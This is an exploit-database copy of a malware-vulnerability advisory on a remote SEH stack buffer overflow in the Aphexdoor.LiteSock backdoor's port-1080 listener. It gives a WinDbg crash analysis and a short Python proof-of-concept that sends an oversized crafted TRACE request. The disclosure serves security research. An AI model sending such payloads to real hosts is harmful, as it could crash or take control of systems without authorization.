Advertisement






Backdoor.Win32.Aphexdoor.LiteSock / Remote Stack Buffer Overflow (SEH)

CVE Category Price Severity
CWE-119 Not specified Critical
Author Risk Exploitation Type Date
Not specified High Remote 2022-11-10
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H 0 0

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022110009

Below is a copy:

Backdoor.Win32.Aphexdoor.LiteSock / Remote Stack Buffer Overflow (SEH)
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/2047ac6183da4dfb61d2562721ba0720.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Aphexdoor.LiteSock
Vulnerability: Remote Stack Buffer Overflow (SEH)
Description: The malware drops an extensionless PE file named "3" which listens on TCP port 1080. Third-party attackers who can reach an infected host can send a specially crafted packet to port 1080, that will trigger a stack buffer overflow overwriting ECX register and SEH.
Family: Aphexdoor
Type: PE32
MD5: 2047ac6183da4dfb61d2562721ba0720
Vuln ID: MVID-2022-0653
Dropped files: "3"
ASLR: False
DEP: False
CFG: False
Safe SEH: False
Disclosure: 11/09/2022

Memory Dump:
(135c.27c8): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=77729d70 esi=02651848 edi=02651d0c
eip=7770e916 esp=02651790 ebp=02651830 iopl=0         nv up ei pl nz ac pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000216
ntdll!ZwQueryInformationProcess+0x26:
7770e916 c21400          ret     14h

0:004> .ecxr
eax=00000000 ebx=00000000 ecx=41414141 edx=77729d70 esi=02651848 edi=02651d0c
eip=7770e916 esp=02651790 ebp=02651830 iopl=0         nv up ei pl nz ac pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000216
ntdll!ZwQueryInformationProcess+0x26:
7770e916 c21400          ret     14h

0:004> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

*** WARNING: Unable to verify checksum for 3
*** ERROR: Module load completed but symbols could not be loaded for 3
Failed calling InternetOpenUrl, GLE=12029

FAULTING_IP: 
+26
312e312f ??              ???

EXCEPTION_RECORD:  0274fadc -- (.exr 0x274fadc)
ExceptionAddress: 312e312f
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 312e312f
Attempt to read from address 312e312f

PROCESS_NAME:  3

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000001

EXCEPTION_PARAMETER2:  02650fe8

WRITE_ADDRESS:  02650fe8 

FOLLOWUP_IP: 
+26
51bb743d e89efdffff      call    51bb71e0

FAILED_INSTRUCTION_ADDRESS: 
+26
41414141 ??              ???

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

CONTEXT:  0274fb2c -- (.cxr 0x274fb2c)
eax=00000001 ebx=00000234 ecx=72b87bf5 edx=00000001 esi=004011a8 edi=004011a8
eip=312e312f esp=0274ff8c ebp=50545448 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
312e312f ??              ???
Resetting default scope

ADDITIONAL_DEBUG_TEXT:  Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]

LAST_CONTROL_TRANSFER:  from 203a7473 to 312e312f

FAULTING_THREAD:  ffffffff

DEFAULT_BUCKET_ID:  STACKIMMUNE

PRIMARY_PROBLEM_CLASS:  STACKIMMUNE

BUGCHECK_STR:  APPLICATION_FAULT_STACKIMMUNE_STACK_OVERFLOW_BAD_INSTRUCTION_PTR_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_41414141

IP_ON_HEAP:  203a7473
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.

IP_IN_FREE_BLOCK: 203a7473

FRAME_ONE_INVALID: 1

STACK_TEXT:  
00000000 00000000 3+0x0


STACK_COMMAND:  .cxr 000000000274FB2C ; kb ; ** Pseudo Context ** ; kb

SYMBOL_NAME:  3

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: 3

DEBUG_FLR_IMAGE_TIMESTAMP:  21475346

FAILURE_BUCKET_ID:  STACKIMMUNE_c0000005_3!Unknown

BUCKET_ID:  APPLICATION_FAULT_STACKIMMUNE_STACK_OVERFLOW_BAD_INSTRUCTION_PTR_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_3

0:004> !exchain
0265175c: ntdll!ExecuteHandler2+44 (77729d70)
0274ffcc: 41414141
Invalid exception stack at 41414141


Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=1080

s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

PAYLOAD="TRACE /"+"A"*72+" HTTP/1.1\r\nHost: "+MALWARE_HOST+"\r\n\X-Request-ID: "+"A"*72

s.send(PAYLOAD.encode())
s.close()
print("Aphexdoor.LiteSock Buffer Overflow by Malvuln")



Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.